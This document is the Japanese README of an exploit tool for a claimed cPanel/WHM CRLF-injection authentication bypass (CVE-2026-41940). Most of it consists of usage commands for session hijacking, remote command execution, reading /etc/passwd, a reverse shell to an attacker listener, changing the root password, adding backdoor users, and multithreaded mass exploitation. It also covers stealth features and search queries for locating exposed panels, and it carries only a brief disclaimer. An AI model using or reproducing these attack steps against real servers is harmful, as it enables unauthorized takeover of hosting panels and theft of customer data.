
🚀 CVE-2026-41940 cPanel/WHM 認証バイパスエクスプロイト - ベストフロー 💥 CRLFインジェクションによる認証バイパス、セッションハイジャック、アカウント漏洩。 ✅ プロキシ、カスタムUA、キープアライブ、リトライ、SSL検証、カラー出力、ファイル保存対応。 ⚡ ペネトレーションテスター向けの高度なPoC。

cPanel & WHM エディション - CRLFインジェクションによる認証バイパス&完全なセッションハイジャック
このエクスプロイトは、cPanel/WHM における重大な認証バイパス脆弱性である CVE-2026-41940 を悪用します。セッション管理システムに細工されたCRLFペイロードを注入することで、有効な認証情報を一切必要とせずに、セッションハイジャック、ルートアクセス、ホスティングパネルの完全な制御を達成します。
| カテゴリ | 機能 |
|---|---|
| 悪用 | ✅ CRLFインジェクションによる認証バイパス ✅ WHMセッションハイジャック ✅ セキュリティトークンの漏洩 ✅ 即時ルートアクセス |
| ポストエクスプロイテーション | ✅ アカウント一覧の取得(ユーザー+ドメイン) ✅ リモートコマンド実行(RCE) ✅ リバースシェル(netcat互換) ✅ ファイル読み取り(設定ファイル、ログなど) ✅ ルートパスワードの変更 ✅ 新しいcPanelユーザーの作成 |
| スキャン | ✅ 単一ターゲットの攻撃 ✅ 複数ターゲットの一括スキャン ✅ マルチスレッド(スレッド数設定可能) ✅ ポート上書き対応 |
| ステルス | ✅ リクエスト間のランダム遅延 ✅ X-Forwarded-For スプーフィング ✅ カスタムUser-Agent対応 ✅ プロキシ対応(HTTP/HTTPS) |
| ユーザビリティ | ✅ 対話型WHMシェル(-i)✅ カラー出力(colorama) ✅ 詳細/デバッグモード ✅ アカウント一覧のファイル出力 ✅ キープアライブセッションスレッド ✅ 不安定な接続向けリトライ機構 |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
⚠️ 免責事項: このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。不正アクセスは違法です。
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Install dependencies
pip3 install -r requirements.txt
# Run
python3 exploit.py -t https://example.com:2087
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087
# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # List all cPanel accounts
[email protected] $ version # Show cPanel version
[email protected] $ ls /home # List directory
[email protected] $ cat /etc/passwd # Read file
[email protected] $ exec id # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123 # Create new user
[email protected] $ exit # Exit shell
## 🔧 リモートコマンド実行
```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Attacker machine (listener)
nc -lvnp 4444
# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Disable auto keep-alive
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20
# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443
# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
他のエクスプロイトリポジトリもご覧ください:
| 製品 |
|---|
| バージョン |
|---|
| ステータス |
|---|
| cPanel & WHM | 11.92 - 11.102 | ✅ 確認済み |
| cPanel & WHM | 11.104 - 11.110 | ✅ 確認済み |
| cPanel & WHM | 11.118 - 11.136 | ⚠️ 限定的 |
| cPanel & WHM | < 11.86 | ✅ 脆弱性の可能性あり |
| 短縮 | 長い形式 | 説明 | デフォルト |
|---|
-t | --target | 単一ターゲットのURL | 必須(単一) |
-l | --target-file | ターゲット一覧を含むファイル | 必須(一括) |
-p | --port | ポートの上書き | 自動検出 |
-o | --output | アカウント一覧をファイルに保存 | なし |
-v | --verbose | デバッグ出力を有効化 | 無効 |
-i | --interactive | 対話型WHMシェル | 無効 |
--proxy | HTTP/HTTPSプロキシ | なし | |
-ua | --user-agent | カスタムUser-Agent | ランダム |
--cmd | 単一コマンドを実行 | なし | |
--reverse-shell | リバースシェル IP:PORT | なし | |
--passwd | ルートパスワードを変更 | なし | |
--adduser | 新規ユーザーの作成(USER DOMAIN PASS) | なし | |
--read | ターゲットからファイルを読み取る | なし | |
--threads | 一括スキャンのスレッド数 | 10 | |
--delay | キープアライブ間隔(秒) | 3.0 | |
--max-retries | リクエストごとの最大リトライ回数 | 3 | |
--no-keep-alive | セッションを維持しない | 無効 | |
--ssl-verify | SSL証明書を検証 | 無効 |